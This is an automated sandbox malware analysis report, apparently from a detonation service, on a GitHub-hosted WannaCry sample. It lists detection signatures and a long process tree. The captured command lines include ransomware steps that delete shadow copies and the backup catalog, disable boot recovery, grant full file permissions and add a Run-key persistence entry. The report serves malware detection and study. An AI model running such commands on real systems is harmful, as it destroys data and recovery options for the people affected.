Edit tour

Windows Analysis Report
https://github.com/limiteci/WannaCry

Overview

General Information

Sample URL:	https://github.com/limiteci/WannaCry
Analysis ID:	1440038
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Delete shadow copy via WMIC

Yara detected Wannacry ransomware

Blob-based file download detected

Command shell drops VBS files

Creates files in the recycle bin to hide itself

Deletes shadow drive data (may be related to ransomware)

Installs TOR (Internet Anonymizer)

Machine Learning detection for dropped file

Modifies existing user documents (likely ransomware behavior)

Overwrites Mozilla Firefox settings

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Tries to harvest and steal browser information (history, passwords, etc)

Uses bcdedit to modify the Windows boot settings

Uses cmd line tools excessively to alter registry or file data

Writes many files with high entropy

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML page contains hidden URLs or javascript code

Installs a Chrome extension

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Startup Folder File Write

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Too many similar processes found

Uses cacls to modify the permissions of files

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://github.com/limiteci/WannaCry MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4080 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=728 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5252 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5776 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6128 --field-trial-handle=1964,i,1571345191359581825,5453101834604108867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WannaCry (3).EXE (PID: 6084 cmdline: "C:\Users\user\Downloads\WannaCry (3).EXE" MD5: 84C82835A5D21BBCF75A61706D8AB549)

attrib.exe (PID: 4416 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 1548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 6660 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 5444 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

taskdl.exe (PID: 1268 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7960 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

cmd.exe (PID: 7940 cmdline: C:\Windows\system32\cmd.exe /c 110401715441892.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 6784 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)

taskdl.exe (PID: 1940 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6016 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6092 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1768 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4004 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1640 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1952 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 1956 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2044 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2060 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2420 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2604 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6556 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6544 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3252 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 688 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3712 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4152 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4368 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4456 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3484 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4588 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4516 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5128 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4824 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 4840 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 680 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6492 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6484 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 5428 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7464 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7468 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 2200 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6336 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6264 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6260 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6232 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3512 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7848 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6608 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6924 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 8036 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3904 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7568 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 6036 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7088 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

MpCmdRun.exe (PID: 7744 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskdl.exe (PID: 7792 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 7680 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7668 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskhsvc.exe (PID: 5140 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)

conhost.exe (PID: 1388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6200 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

@WanaDecryptor@.exe (PID: 2656 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 1284 cmdline: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1764 cmdline: wmic shadowcopy delete MD5: E2DE6500DE1148C7F6027AD50AC8B891)

WerFault.exe (PID: 5488 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 228 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3904 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 340 MD5: C31336C1EFC2CCB44B4326EA793040F2)

taskdl.exe (PID: 5720 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 6280 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 424 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 1092 cmdline: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1468 cmdline: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

taskdl.exe (PID: 2728 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

dllhost.exe (PID: 7704 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

taskdl.exe (PID: 7900 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 7884 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 3988 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 1276 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1268 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 6396 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 756 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1940 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6784 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1104 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 2912 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 4896 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 4808 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1656 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 1916 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1904 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2504 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 3604 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 2420 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 2064 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6624 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3476 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 688 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 4336 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 4932 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6140 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 5088 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 4516 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 5128 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4104 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 1500 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 8068 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 4120 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1976 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7456 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 6492 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6480 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 4372 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7468 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7476 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 6312 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6256 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6244 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7496 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7484 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 408 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1992 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 8052 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 2720 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6608 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

WerFault.exe (PID: 7992 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2656 -ip 2656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

taskse.exe (PID: 7008 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7640 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1132 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 6952 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1788 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 7720 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7092 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7724 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 4880 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7768 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6192 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

taskdl.exe (PID: 7800 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 7516 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6000 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7288 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7552 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 6088 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1220 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 1468 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7416 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4732 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 7920 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1092 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6660 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7900 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 1548 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 7884 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 456 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 1224 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6392 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 7312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 7332 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1960 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 7220 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 6784 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3228 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 1920 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1952 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 2784 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1344 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 3184 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 3288 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 1916 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 2876 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 2044 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 2292 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 1436 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 7240 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 6624 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

taskdl.exe (PID: 3636 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

@WanaDecryptor@.exe (PID: 3492 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskse.exe (PID: 4712 cmdline: taskse.exe C:\Users\user\Downloads\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

@WanaDecryptor@.exe (PID: 4428 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskdl.exe (PID: 4348 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

